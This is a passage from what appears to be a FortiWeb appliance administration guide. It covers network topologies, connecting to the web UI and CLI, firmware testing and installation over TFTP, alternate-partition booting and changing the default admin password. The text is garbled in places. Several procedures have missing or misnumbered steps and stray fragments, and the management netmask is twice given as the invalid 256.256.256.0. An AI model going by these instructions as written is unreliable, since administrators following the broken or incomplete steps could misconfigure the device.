prevent bypass problems that can arise as a result of misconfigured routing. It also
offers you the ability to offer protection features that cannot be supported in a SPAN
port topology.
Requests are destined for a web server, not the FortiWeb appliance. Traffic is duplicated from the flow and sent on an
out-of-line link to the FortiWeb through a switched port analyzer (SPAN or mirroring) port. Unless there is a policy
violation, there is no reply traffic from FortiWeb. Depending on whether the upstream firewalls or routers apply source
NAT (SNAT), the web servers might be able to see and use the source IP addresses of clients.

This is an example of a network topology in Offline Protection mode:
Client
Web
Server 1
192.168.1.3/24
FortiGate
Switch
192.168.1.1/24 192.168.1.4/24
FortiWeb resets TCP
port2 Web
connection if it
Server 2
detects policy
violation
FortiWeb
A client accesses two web servers over the Internet through a FortiWeb. A firewall is installed between the FortiWeb and
the Internet to regulate non-HTTP/HTTPS traffic. Port1 is connected to the administrator’s computer. Port2 is
connected to the firewall, and thereby to a switch, which is connected to the web servers. The FortiWeb provides
detection, but does not load-balance, block, or otherwise modify traffic to or from the two web servers. Alternatively, you
could connect a FortiWeb operating in Offline Protection mode to the SPAN port of a switch.
Unlike in Reverse Proxy mode or True Transparent Proxy mode, actions other than
Alertcannot be guaranteed to be successful in Offline Protection mode. The
FortiWeb appliance will attempt to block traffic that violates the policy by mimicking
the client or server and requesting to reset the connection. However, the client or
server may receive the reset request after it receives the other traffic due to possible
differences in routing path metrics and latency.
FortiWeb monitors traffic received on the data capture port’s network interface (regardless of the IP address) and
applies the first applicable policy. Because it is not inline with the destination, it does not forward permitted traffic.
FortiWeb logs or blocks violations according to the matching policy and its protection profile. If FortiWeb detects a
malicious request, it sends a TCP RST (reset) packet through the blocking port to the web server and client to attempt to
terminate the connection. It does not otherwise modify traffic. (It cannot, for example, offload SSL, load-balance
connections, or support user authentication.)
If you select Offline Protection mode, you can configure Blocking Port on page 246
to select the port from which TCP RST (reset) commands are sent to block traffic
that violates a policy.

Topology for WCCP mode
WCCP mode does not require changes to the IP address scheme of the network. Requests are destined for a web
server and not the FortiWeb appliance. This operation mode supports the same feature set as True Transparent Proxy
mode. However, like Reverse Proxy mode, web servers see the FortiWeb network interface IP address and not the IP
address of the client. For details, see Supported features in each operation mode on page 71.
This is an example of a network topology in WCCP mode:
192.168.1.5/24
Web Web
Server 2 Server 1
Client 192.168.1.4/24
port2
192.168.1.1/24
port1
Switch
non-HTTP
port3 FortiGate
172.22.80.1/24
HTTP
and
HTTPS
Scanned
HTTP and
HTTPS
port3
172.22.80.100/24
FortiWeb
A client accesses a web server over the Internet through a FortiWeb appliance. In this one-arm topology, a firewall is
configured as a WCCP server that routes HTTP/HTTPS traffic arriving on port1 to a FortiWeb configured as a WCCP
client. The firewall directs non-HTTP/HTTPS traffic to the switch directly. On the FortiWeb, Port3 is configured for the
WCCP protocol and connected to the firewall.
FortiWeb applies the first applicable policy, logs, blocks, or modifies violations according to the matching policy, and
then returns permitted traffic to the firewall. The firewall is configured to route HTTP/HTTPS traffic arriving on port3 to
the switch.
Topologies for high availability (HA) clustering
Valid HA topologies vary by whether you use either:

l FortiWeb active-passive HA
l FortiWeb active-active HA
l An external HA/load balancer
To carry heartbeat and synchronization traffic between the HA pair, the heartbeat interface on both HA appliances must
be connected through crossover cables or through switches.
If you use a switch to connect the heartbeat interfaces, they must be reachable by
Layer 2 multicast.
This is an example of a active-passive HA network topology in Reverse Proxy mode:
To fail over, standby sends

gratuitous ARP . This causes
network to transfer all FortiWeb
VMAC & IP addresses to
ports linked to standby . FortiWeb HA pair
Active (Failed) Servers
port1 192.168.1.2-4
port1 10.0.0.1 port2
vserver1 10.0.1.1 192.168.1.1
vserver2 10.0.2.1
Heartbeat
Links
port3 port4
FortiGate Switch
port1 port2
Clients arp reply 10.0.0.1 arp reply 192.168.1.1

is-at 00:09:0f:09:00:00 Standby is-at 00:09:0f:09:00:02
(00:09:0f:09:00:00) (00:09:0f:09:00:02)
arp reply 10.0.1.1
is-at 00:09:0f:09:00:00
(00:09:0f:09:00:00)
arp reply 10.0.2.1
is-at 00:09:0f:09:00:00
(00:09:0f:09:00:00)
If the active appliance fails, the standby appliance assumes the IP addresses and load of the failed appliance.

This is an example for an active-active HA network topology in Reverse Proxy mode:
A FortiWeb active-active HA cluster can be consist of up to eight FortiWebs. All the cluster members operate as an
active appliance together, which means each of the members can simultaneously handle the traffic between clients and
the back web servers. In an active-active HA cluster, there is one appliance selected as the master and the others are
slaves. Like a central controller, only the master appliance receives traffic from clients and web servers; it will distribute
received traffic to the cluster members (including itself), so that each FortiWeb appliance performs the security services
to monitor traffic.
Similar to the active-passive HA deployment, the operation of active-active HA cluster requires heartbeat detection,
configuration and session synchronization between the cluster members. If the master appliance fails, one of the slaves
will take it over. The heartbeat interfaces of all the HA appliances must be connected directly with crossover cables or
through switches to carry the heartbeat and synchronization traffic between the HA cluster members.
If FortiWeb will not be operating in Reverse Proxy mode, typically you would not configure an HA network topology.
Configuring an HA network topology in other operation modes could require changes to your network scheme, which
defeats one of the key benefits of other operating modes: they require no IP changes.
Instead, most customers use an existing external load balancer/HA solution in conjunction with FortiWeb configuration
synchronization to preserve an existing active-active or active-passive topology.

This is an example of a network topology in True Transparent Proxy mode with configuration synchronization and
external HA via FortiADC:
FortiWeb
Client transparent proxy
192.168.1.1
port2 Switch
FortiGate 192.168.1.2/24
Web
Active-Active Configuration Server 1
HA via Synchronization
FortiADC
FortiADC
Web
FortiGate Server 2
192.168.1.3/24
port2
192.168.1.1 Switch
FortiWeb
transparent proxy
Unlike with FortiWeb HA, the external HA device detects when a FortiWeb has failed and then redirects the traffic
stream; FortiWeb has no way of actively notifying the external HA device. To monitor the live paths through your
FortiWeb configuration, you could configure your HA device to poll either:
l A back-end web server, or
l An IP on each FortiWeb bridge (V-zone)
You can use configuration synchronization to replicate the FortiWeb configuration

without HA(that is, no load balancing and no failover). Configuration synchronization
has no special topology requirement, except that synchronized FortiWebs should be
placed in identical topologies. For details, see Replicating the configuration without
FortiWeb HA (external HA) on page 119.
See also

l Topology for Reverse Proxy mode on page 74
l FortiWeb high availability (HA) on page 48
l HA heartbeat on page 114

Connecting to the web UI or CLI
To configure, maintain, and administer the FortiWeb appliance, you need to connect to it. There are two methods:
Web UI—A graphical user interface (GUI), from within a web browser. It can display reports and logs, but lacks many
advanced diagnostic commands. For usage, see How to use the web UI on page 55.
Command line interface (CLI)—A text interface similar to DOS or UNIX commands, from a Secure Shell (SSH) or
Telnet terminal, or from the JavaScript CLI Console widget in the web UI (System > Status > Status). It provides
access to many advanced diagnostic commands as well as configuration, but lacks reports and logs. For usage, see
FortiWeb CLI Reference.
Access to the CLI and/or web UI through your network is not yet configured if:
l you are connecting for the first time
l you have just reset the configuration to its default state
l you have just restored the firmware
In these cases, you must initially connect your computer directly to FortiWeb, using the default settings.
If you are installing a FortiWeb-VM virtual appliance, you should have already
connected if you followed the instructions in the FortiWeb-VM deploy Guide
(http://docs.fortinet.com/fortiweb/hardware). If so, you can skip this chapter and
continue with Changing the “admin” account password on page 101.
Via the direct connection, you can use the web UI or CLI to configure FortiWeb’s basic network settings. Once this is
done, you will be able to place FortiWeb on your network, and use FortiWeb through your network.
Until the FortiWeb appliance is configured with an IP address and connected to your
network, you may prefer to connect the FortiWeb appliance directly to your
management computer, or through a switch, in a peer network that is isolated from
your overall network. This will improve security during setup. However, isolation is
not required.
Connecting to the web UI
You can connect to the web UI using its default settings:
Network Interface port1
URL https://192.168.1.99/
Administrator admin
Account
Password

Requirements
l A computer with an RJ-45 Ethernet network port

l A web browser such as Microsoft Internet Explorer version 6.0 or greater, or Mozilla Firefox 3.5 or greater
l A crossover Ethernet cable
To connect to the web UI
1. On your management computer, configure the Ethernet port with the static IP address 192.168.1.2 with a netmask
of 256.256.256.0.
2. Using the Ethernet cable, connect your computer’s Ethernet port to the FortiWeb appliance’s port1.
3. Start your browser and enter the following URL:
https://192.168.1.99
(Remember to include the “s” in https://.)
Your browser connects the appliance.
If you do not see the login page due to an SSL cipher error during the connection, and you are connecting to the
trial license of FortiWeb-VM or a LENC version of FortiWeb, then your browser must be configured to accept
encryption of 64-bit strength or less during the handshake. RC2 and DES with less than 64-bit strength is
supported. AES and 3DES is not supported in these versions.
For example, in Mozilla Firefox, if you receive this error message:
ssl_error_no_cypher_overlap
To support HTTPS authentication, the FortiWeb appliance ships with a self-signed security certificate, which it
presents to clients whenever they initiate an HTTPS connection to the FortiWeb appliance. When you connect,
depending on your web browser and prior access of the FortiWeb appliance, your browser might display two
security warnings related to this certificate:
l The certificate is not automatically trusted because it is self-signed, rather than being signed by a valid
certificate authority (CA). Self-signed certificates cannot be verified with a proper CA, and therefore might be
fraudulent. You must manually indicate whether or not to trust the certificate.
l The certificate might belong to another website. The common name (CN) field in the certificate, which usually
contains the host name of the website, does not exactly match the URL you requested. This could indicate
server identity theft, but could also simply indicate that the certificate contains a domain name while you have
entered an IP address. You must manually indicate whether this mismatch is normal or not.
Both warnings are normal for the default certificate. TLS v1.0 is supported.
4. Verify and accept the certificate, either permanently (the web browser will not display the self-signing warning
again) or temporarily. You cannot log in until you accept the certificate.
For details on accepting the certificate, see the documentation for your web browser.
5. In the Name field, type admin, then click Login. In its default state, there is no password for this account.
Login credentials entered are encrypted before they are sent to the FortiWeb appliance. If your login is successful, the
web UI appears. To continue by updating the firmware, see Updating the firmware on page 89. Otherwise, to continue
by setting an administrative password, see Changing the “admin” account password on page 101.
If 3 incorrect login or password attempts occur in a row, your IP address will be

temporarily blacklisted from the GUI and CLI (network, not console). This is to
protect the appliance from brute force login attacks. Wait 1 minute, then attempt the
login again.

Connecting to the CLI
Using its default settings, you can access the CLI from your management computer in three ways via:
l the Web UI
l A local console connection
l An SSH connection, either local or through the network
Secure Shell (SSH) provides both secure authentication and secure communications to the CLI. Supported SSH
protocol versions, ciphers, and bit strengths include SSH version 2 with AES-128, 3DES, Blowfish, and SHA-1.
These are the default settings to connect to the CLI via SSH:
Network Interface port1
IP Address 192.168.1.99
SSH Port Number 22
Administrator admin
Account
Password
If you are not connecting for the first time, nor have you just reset the configuration
to its default state or restored the firmware, administrative access settings may have
already been configured. In this case, access the CLI using the IP address,
administrative access protocol, administrator account and password already
configured, instead of the default settings.
Alternatively, you can access the CLI via SSH and a public-private key pair. However, to use this option, you first access
the CLI using the CLI Console widget (part of the web UI status dashboard) or via SSH and password to upload the
public key. For details, see To connect to the CLI using an SSH connection and public-private key pair on page 88.
The following procedures describe connection using PuTTY software; steps may vary with other terminal emulators.
To use the CLI in the web UI
You must have already completed To connect to the web UI on page 85.
1. In the top-right corner of the window from any location in the web UI, click the Console Access icon:
The console will open on top of the current window of the Web UI.
2. To detach the CLI Console from the Web UI, click the Detach icon in the toolbar of the CLI Console window:

The CLI Console will open in a new tab in your browser.
To connect to the CLI using a local console connection
You must have:

l A computer with an available serial communications (COM) port
l The RJ-45-to-DB-9 or null modem cable included in your FortiWeb package
l Terminal emulation software such as PuTTY
(http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)
1. Using the RJ-45-to-DB-9 or null modem cable, connect your computer’s serial communications (COM) port to the
FortiWeb appliance’s console port.
2. Verify that the FortiWeb appliance is powered on.
3. On your management computer, start a terminal emulation software such as PuTTY.
4. In the Category tree on the left, go to Connection > Serial and configure these settings:
Serial line to COM1 (or, if your computer has

connect to multiple serial ports, the name
of the connected serial port)
Speed (baud) 9600
Data bits 8
Stop bits 1
Parity None
Flow control None
5. In the Category tree on the left, go to Session (not the sub-node, Logging) and from Connection type, select
Serial.
6. Click Open.
7. Press the Enter key to initiate a connection.
The login prompt appears.
8. Type admin then press Enter twice. (In its default state, there is no password for the admin account.)
The CLI displays the following text, followed by a command line prompt:
Welcome!
You can now enter commands. To continue by updating the firmware, see Updating the firmware on page 89.
Otherwise, to continue by setting an administrative password, see Changing the “admin” account password on page
101. For information about how to use the CLI, see FortiWeb CLI Reference.
To connect to the CLI using an SSH connection and password
You must have:

l a computer with an RJ-45 Ethernet port

l a crossover Ethernet cable (if connecting directly) or straight-through Ethernet cable (if connecting through a switch
or router)
l a FortiWeb network interface configured to accept SSH connections (In its default state, port1 accepts SSH. You
may need to connect directly first in order to configure a static route so that, later, you can connect through routers.
For details, see Adding a gateway on page 142.)
l terminal emulation software such as PuTTY
1. On your management computer, configure the Ethernet port with the static IP address 192.168.1.2 with a netmask
of 256.256.256.0.
2. Using the Ethernet cable, connect your computer’s Ethernet port to the FortiWeb appliance’s port1.
3. Verify that the FortiWeb appliance is powered on.
4. On your management computer, start PuTTY.
Initially, the Session category of settings is displayed.
5. In Host Name (or IP Address), type 192.168.1.99.
6. In Port, type 22.
7. From Connection type, select SSH.
8. Select Open.
The SSH client connects to the FortiWeb appliance.
The SSH client may display a warning if this is the first time you are connecting to the FortiWeb appliance and its
SSH key is not yet recognized by your SSH client, or if you have previously connected to the FortiWeb appliance but
it used a different IP address or SSH key. If your management computer is directly connected to the FortiWeb
appliance with no network hosts between them, this is normal.
9. Click Yes to verify the fingerprint and accept the FortiWeb appliance’s SSH key. You cannot log in until you accept
the key.
The CLI displays a login prompt.
10. Type admin and press Enter. by default, this account has no password.
If 3 incorrect login or password attempts occur in a row, your IP address will be

temporarily blacklisted from the GUI and CLI (network, not console). This is to
protect the appliance from brute force login attacks. Wait 1 minute, then attempt the
login again.
The CLI displays a prompt, such as:

FortiWeb#
You can now enter commands. To continue by updating the firmware, see Updating the firmware on page 89.
Otherwise, to continue by setting an administrative password, see Changing the “admin” account password on page
101.
For information about how to use the CLI, see FortiWeb CLI Reference.
To connect to the CLI using an SSH connection and public-private key pair
1. Create a public-private key pair using a key generator.

2. Save the private key to the location on your management computer where your SSH keys are stored.
3. Connect to the CLI using either the CLI Console widget on the web UI dashboard or via anSSH connection. For
details, see To connect to the CLI using an SSH connection and password on page 87.

4. Use the following CLI command to copy the public key to FortiWeb using the CLI commands:
config system admin
edit admin
set sshkey <sshkey>
end
where <sshkey> is the public key data.
The following data is an example of an ssh public key:
“ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDJWw9hWG6KC+RYViLmPVN283mNIwOVE9EyO+Rk
SsQgqZzc/NkzWpR4A3f6egYUZ1TY3ERYJ350zpvtmVoM8sbtDyLjuj/OYqZWLr06jjd+
NBKNbl9crqGdcoi+5WYZ9qo8NKgW4yXrmcNzdM46c708mrKNc9cfVlCk2kJSNNEY8FRX
fm3Ge7y0aNRuBBQ6n9LkYWSoW+AETwNt8ZS0/9tJ9gV6V6J4071Y8xSfM1VDJQwdneuX
CpVrs3Fg1DijUdritp7W8ptxqgbLvdkRObaTvpEGSl6rBPZcsqQFCCgn1QHdE9UxoPA7
jpSrEZ/Gkh63kz5KC6dZgUg0G2IrIgXt”
5. To log in using the private key, open a connection to the CLI using SSH. For details, see To connect to the CLI
using an SSH connection and password on page 87.
6. When FortiWeb displays the CLI prompt, use the following command to log in using the public key:
ssh -i <privatekey>
where <privatekey> is the name of the private key stored on your management computer.
For information about how to use the CLI, see FortiWeb CLI Reference.
Updating the firmware
Your FortiWeb comes with the latest operating system (firmware) when shipped. However, if a new version released
since your appliance shipped, you should install it before you continue the installation.
Fortinet periodically releases FortiWeb firmware updates to include enhancements and address security issues. Once
you register your FortiWeb, firmware is available for download through Fortinet Customer Service & Support at:
Installing new firmware can overwrite attack signature packages using the versions of the packages that were current at
the time that the firmware image was built. To avoid repeat updates, update the firmware before updating your
FortiGuard packages.
New firmware can also introduce new features which you must configure for the first time.
For information about a particular firmware release, see the Release Notes for that release at:
http://docs.fortinet.com/fortiweb/release-information
In addition to major releases that contain new features, Fortinet releases patch
releases that resolve specific issues without containing new features and/or changes
to existing features. It is recommended to download and install patch releases as
soon as they are available.

See also
l Testing new firmware before installing it on page 90

l Installing firmware on page 92
l Installing alternate firmware on page 97
Testing new firmware before installing it
You can test a new firmware image by temporarily running it from memory, without saving it to disk. By keeping your
existing firmware on disk, if the evaluation fails, you do not have to re-install your previous firmware. Instead, you can
quickly revert to your existing firmware by simply rebooting the FortiWeb appliance.

To test a new firmware image
1. Download the firmware file from the Fortinet Technical Support website:
https://support.fortinet.com/
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-
modem cable.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance.
For details, see Connecting to the web UI or CLI on page 84.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. If you do not have one, you can temporarily install and run one such as tftpd
on your management computer:
Windows: http://tftpd32.jounin.net
Mac OS X: From the Terminal, enter the man tftp command.
Linux: https://access.redhat.com/knowledge/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_
Guide/s1-netboot-tftp.html
Because TFTP is not secure, and because it does not support authentication
and could allow anyone to have read and write access, you should only run it on
trusted administrator-only networks, never on computers directly connected to
the Internet. If possible, immediately turn off tftpd off when you are done.
7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.
To use the FortiWeb CLI to verify connectivity, enter the following command:
execute ping 192.168.1.168
where 192.168.1.168 is the IP address of the TFTP server.
8. Enter the following command to restart the FortiWeb appliance:
execute reboot
9. As the FortiWeb appliances starts, a series of system startup messages appear.
Press any key to display configuration menu........
10. Immediately press a key to interrupt the system startup.
You have only three seconds to press a key. If you do not press a key soon
enough, the FortiWeb appliance reboots and you must log in and repeat the
execute reboot command.
If you successfully interrupt the startup process, the following messages appears:
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
Enter G,F,B,Q,or H:
Please connect TFTP server to Ethernet port "1".

11. Type G to get the firmware image from the TFTP server.
The following message appears:

Enter TFTP server address [192.168.1.168]:

12. Type the IP address of the TFTP server and press Enter.
Enter local address [192.168.1.188]:
13. Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.
Enter firmware image file name [image.out]:
14. Type the firmware image file name and press Enter.
The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar
to the following:
MAC:00219B8F0D94
###########################
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image..
Save as Default firmware/Backup firmware/Run image without saving:[D/B/R]?
If the download fails after the integrity check with the error message:
invalid compressed format (err=1)
but the firmware matches the integrity checksum on the Fortinet Technical
Support website, try a different TFTP server.
15. Type R.
The FortiWeb image is loaded into memory and uses the current configuration, without saving the new firmware
image to disk.
16. To verify that the new firmware image was loaded, log in to the CLI and type:
get system status
17. Test the new firmware image.
l If the new firmware image operates successfully, you can install it to disk, overwriting the existing firmware, using
the procedure Installing firmware on page 92.
l If the new firmware image does not operate successfully, reboot the FortiWeb appliance to discard the temporary
firmware and resume operation using the existing firmware.
See also
l Installing firmware
l Installing alternate firmware
Installing firmware
You can use either the web UI or the CLI to upgrade or downgrade the appliance’s operating system.
If you are installing a firmware version that requires a different size of system partition, you may be required to format
the boot device before installing the firmware by re-imaging the boot device. Consult the Release Notes. In that case,
do not install the firmware using this procedure. Instead, see Restoring firmware (“clean install”) on page 859.
Firmware changes are either:

l an update to a newer version

l a reversion to an earlier version
To determine if you are updating or reverting the firmware, go to System > Status > Status and in the System
Information widget, see the Firmware Version row. (Alternatively, in the CLI, enter the command get system
status.)
For example, if your current firmware version is:
FortiWeb-VM 4.32,build0531,111031
changing to
FortiWeb-VM 4.32,build0530,110929
an earlier build number (530) and date (110929 means September 29, 2011), indicates that you are reverting.
Back up all parts of your configuration before beginning this procedure. Some
backup types do not include the full configuration. For full backup instructions, see
Backups on page 322.
Reverting to an earlier firmware version could reset settings that are not compatible
with the new firmware. For example, FortiWeb 5.0 configuration files are not
compatible with previous firmware versions. If you later decide to downgrade to
FortiWeb 4.4.6 or earlier, your FortiWeb appliance will lose its configuration.
To restore the configuration, you will need a backup that is compatible with the older
firmware.
For details about reconnecting to a FortiWeb appliance whose network interface

configuration was reset, see Connecting to the web UI or CLI on page 84.
To install firmware via the web UI
2. Log in to the web UI of the FortiWeb appliance as the admin administrator, or an administrator account whose
access profile contains Read and Write permissions in the Maintenance category.
Updating firmware on an HA pair requires some additions to the usual steps for a
standalone appliance. For details, see Updating firmware on an HA pair on page
96.
3. Go to System > Status > Status.

4. In the System Information widget, in the Firmware Version row, click Update.
The Firmware Upgrade/Downgrade dialog appears.
5. Click Browse to locate and select the firmware file that you want to install, then click OK.
6. Click OK.
Your management computer uploads the firmware image to FortiWeb. FortiWeb installs the firmware and restarts.
The time required varies by the size of the file and the speed of your network connection.

If you are downgrading the firmware to a previous version, and the settings are
not fully backwards compatible, the FortiWeb appliance may either remove
incompatible settings, or use the feature’s default values for that version of the
firmware. You may need to reconfigure some settings.
7. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all
interface changes. For details, see your browser's documentation.
8. To verify that the firmware was successfully installed, log in to the web UI and go to System > Status > Status.
In the System Information widget, the Firmware Version row indicates the currently installed firmware version.
9. If you want to install alternate firmware on the secondary partition, follow Installing alternate firmware on page 97.
10. Continue with Changing the “admin” account password on page 101.
Installing firmware replaces the current attack definitions with those included in the
firmware release that you're installing. If you are updating or rearranging an existing
deployment, after you install new firmware, make sure that your attack definitions
are up-to-date. For details, see Manually initiating update requests on page 477.
To install firmware via the CLI
1. Download the firmware file from the Fortinet Customer Service & Support website:
If you are downgrading the firmware to a previous version, FortiWeb reverts the configuration to default values for
that version of the firmware. You will need to reconfigure FortiWeb or restore the configuration file from a backup.
For details, see Connecting to the web UI or CLI on page 84 and, if you opt to restore the configuration, Restoring a
previous configuration on page 325.
modem cable.
96.
3. Initiate a connection from your management computer to the CLI of the FortiWeb appliance, and log in as the
admin administrator, or an administrator account whose access profile contains Read and Write permissions in
the Maintenance category. For details, see Permissions on page 56.

8. Enter the following command to download the firmware image from the TFTP server to FortiWeb:
execute restore image tftp <name_str> <tftp_ipv4>
where <name_str> is the name of the firmware image file and <tftp_ipv4> is the IP address of the TFTP
server. For example, if the firmware image file name is image.out and the IP address of the TFTP server is
192.168.1.168, enter:
execute restore image tftp image.out 192.168.1.168
One of the following messages appears:
This operation will replace the current firmware version!
Do you want to continue? (y/n)
or:
Get image from tftp server OK.
Check image OK.
This operation will downgrade the current firmware version!
Do you want to continue? (y/n)
9. Type y.
The FortiWeb appliance downloads the firmware image file from the TFTP server. The FortiWeb appliance installs
the firmware and restarts:
MAC:00219B8F0D94
###########################
Verifying the integrity of the firmware image.
10. To verify that the firmware was successfully installed, log in to the CLI and type:
get system status
The firmware version number is displayed.
11. If you want to install alternate firmware on the secondary partition, follow Installing alternate firmware on page 97.
12. Continue with Changing the “admin” account password on page 101.

Installing firmware replaces the current FortiGuard packages with those included
with the firmware release that you are installing. If you are updating or rearranging
an existing deployment, after you install new firmware, make sure that your attack
definitions are up-to-date. For details, see Manually initiating update requests on
page 477.
See also
l Updating firmware on an HA pair on page 96

l Manually initiating update requests on page 477
Updating firmware on an HA pair
Installing firmware on an HA pair is similar to installing firmware on a single, standalone appliance.

If downgrading to a previous version, do not use this procedure. The HA daemon on the standby appliance might
detect that the main appliance has older firmware, and attempt to upgrade it to bring it into sync, undoing your
downgrade.
Instead, switch out of HA, downgrade each appliance individually, then switch them back into HA mode.
To ensure minimal interruption of service to clients, use the following steps.
This update procedure is only valid for upgrading from FortiWeb 4.0 MR4 or later.
If you are upgrading from FortiWeb 4.0 MR3 or earlier, the active appliance will not
automatically send the new firmware to the standby appliance(s); you must quickly
connect to the standby and manually install the new firmware while the originally
active appliance is upgrading and rebooting. Alternatively, switch the appliances out
of HA mode, upgrade them individually, then switch them back into HA mode.
To update the firmware of an HA pair
1. Verify that both of the members in the HA pair are powered on and available on all of the network interfaces that
you have configured. If required ports are not available, HA port monitoring could inadvertently trigger an additional
failover and traffic interruption during the firmware update.
2. Log in to the web UI of the primary appliance as the admin administrator.
Alternatively, log on with an administrator account whose access profile contains Read and Write permissions in
3. Install the firmware on the primary appliance. For details, see Installing firmware on page 92. When installing via
the web UI, a message will appear after your web browser has uploaded the file:
Sending the new firmware file to the standby. Please wait and keep the web GUI
untouched...
Closing your browser window or using the back or forward buttons can interrupt the
upgrade process, resulting in a split brain problem — both the upgrade of the
initial master and HA will be interrupted, because both appliances will believe they
are the main appliance.

The primary appliance will transmit the firmware file to the standby appliance over its HA link.The standby appliance will
upgrade its firmware first; on the active appliance, this will be recorded in an event log message such as:
Member (FV-1KC3R11111111) left HA group
After the standby appliance reboots and indicates via the HA heartbeat that it is up again, the primary appliance will
begin to update its own firmware. During that time, the standby appliance will temporarily become active and process
your network’s traffic. After the original appliance reboots, it indicates via the HA heartbeat that it is up again. Which
appliance will assume the active role of traffic processing depends on your configuration (see How HA chooses the
active appliance on page 115):
l If FortiWeb high availability (HA) on page 48 is enabled, the cluster will consider your FortiWeb high availability
(HA) on page 48 setting. Therefore both appliances usually make a second failover in order to resume their original
roles.
l If FortiWeb high availability (HA) on page 48 is disabled, the cluster will consider uptime first. The original primary
appliance will have a smaller uptime due to the order of reboots during the firmware upgrade. Therefore it will not
resume its active role; instead, the standby will remain the new primary appliance. A second failover will not occur.
Reboot times vary by the appliance model, and also by differences between the original firmware and the firmware you
are installing, which may require the installer to convert the configuration and/or disk partitioning schemes to be
compatible with the new firmware version.
See also

Installing alternate firmware
You can install alternate firmware which can be loaded from its separate partition if the primary firmware fails. This can
be accomplished via the web UI or CLI.
To install alternate firmware via the web UI
96.
3. Go to System > Maintenance > Backup & Restore.

To access this part of the web UI, your administrator account’s access profile must have Read and
Writepermission to items in the Maintenancecategory. For details, see Permissions on page 56.
4. Select the Local Backup tab.
5. In the Firmware area, in the row of the alternate partition, click Upload and Reboot.
The Firmware Upgrade/Downgrade dialog appears.
6. For From, select the hard disk from which you want to install the firmware file.

7. Click Browse to locate and select the firmware file that you want to install, then click OK.
8. Click OK.
Your management computer uploads the firmware image to FortiWeb. FortiWeb installs the firmware and restarts.
If you are downgrading the firmware to a previous version, and the settings are
not fully backwards compatible, the FortiWeb appliance may either remove
incompatible settings, or use the feature’s default values for that version of the
firmware. You may need to reconfigure some settings.
9. Clear the cache of your web browser and restart it to ensure that it reloads the web UI and correctly displays all
interface changes. For details, see your browser's documentation.
10. To verify that the firmware was successfully installed, log in to the web UI and go to System > Status > Status.
In the System Information widget, the Firmware Version row indicates the currently installed firmware version.
To install alternate firmware via the CLI
modem cable.
execute reboot
As the FortiWeb appliances starts, a series of system startup messages appear.

You have only 3 seconds to press a key. If you do not press a key soon enough,
the FortiWeb appliance reboots and you must log in and repeat the execute
reboot command.
Enter G,F,B,Q,or H:

13. Type the firmware image file name and press Enter.
to the following:
MAC:00219B8F0D94
###########################
Verifying the integrity of the firmware image.
14. Type B.
The FortiWeb appliance saves the backup firmware image and restarts. When the FortiWeb appliance reboots, it is
running the primary firmware.

See also
l Booting from the alternate partition on page 100

l Manually initiating update requests on page 477
Booting from the alternate partition
System > Maintenance > Backup & Restore lists the firmware versions currently installed on your FortiWeb
appliance.
Each appliance can have up to two firmware versions installed. Each firmware version is stored in a separate partition.
The partition whose firmware is currently running is noted with a white check mark in a green circle in the Active
column.
To boot into alternate firmware via the web UI
Install firmware onto the alternate partition. For details, see Installing alternate firmware on page 97.
1. Go to System > Maintenance > Backup & Restore, and select the Local Backup tab.
permission to items in the Maintenance category. For details, see Permissions on page 56.
2. In the Firmware area, click Boot alternate firmware.
A warning message appears.
3. Click OK.
A message appears instructing you to refresh your browser in a few minutes after the appliance has booted the
other firmware.

To boot into alternate firmware via the local console CLI
1. Install firmware onto the alternate partition. For details, see Installing alternate firmware on page 97.
modem cable.
the Maintenance category.
execute reboot
Immediately press a key to interrupt the system startup.
reboot command.
Enter G,F,B,Q,or H:

6. Type B to reboot and use the backup firmware.
See also
Changing the “admin” account password
The default administrator account, named admin, initially has no password.

Unlike other administrator accounts, the admin administrator account exists by default and cannot be deleted. The
admin administrator account is similar to a root administrator account. This administrator account always has full
permission to view and change all FortiWeb configuration options, including viewing and changing all other
administrator accounts. Its name and permissions cannot be changed.
Before you connect the FortiWeb appliance to your overall network, you should configure the admin account with a
password to prevent others from logging in to the FortiWeb and changing its configuration.

Set a strong password for the admin administrator account, and change the
password regularly. Failure to maintain the password of the admin administrator
account could compromise the security of your FortiWeb appliance. As such, it can
constitute a violation of PCI DSS compliance and is against best practices. For
improved security, the password should be at least eight characters long, be
sufficiently complex, and be changed regularly.
To change the admin administrator password via the web UI
1. Go to System > Admin > Administrators.

permission to items in the Admin Users category. For details, see Permissions on page 56.
2. In the row corresponding to the admin administrator account, mark its check box.
3. Click Change Password.
4. In the Old Password field, do not enter anything. In its default state, there is no password for the admin
administrator account.
5. In the New Password field, enter a password with sufficient complexity and number of characters to deter brute
force attempts and other attacks.
6. In the Confirm Password field, enter the new password again to confirm its spelling.
If you have configured Password Policy in System > Admin > Settings,
follow the settings when entering the new password.
7. Click OK.
8. Click Logout.
FortiWeb logs you out. To continue using the web UI, you must log in again. The new password takes effect the next
time that admin administrator account logs in.
To change the admin administrator password via the CLI
Enter the following commands:

config system admin
edit admin
set password <new-password_str> ''
end
exit
where <new-password_str> is the password for the administrator account named admin.
FortiWeb logs you out. To continue working in the CLI, you must log in again using the new password.
If you have configured admin-lockout-threshold and admin-lockout-

duration via CLI, FortiWeb will lock the account according to the login failure
times and lockout duration you have set. See FortiWeb CLI Reference for details.

Setting the system time & date
You can either manually set the FortiWeb system time or configure the FortiWeb appliance to automatically keep its
system time correct by synchronizing with a Network Time Protocol (NTP) server.
For many features to work, including scheduling, logging, and SSL/TLS-dependent

features, the FortiWeb system time must be accurate.
To configure the system time via the web UI
1. Go to System > Maintenance > System Time.

The Time Settings dialog appears in a pop-up window.
Alternatively, go to System > Status > Status. In the System Information widget, in the System Time row,
click Change.
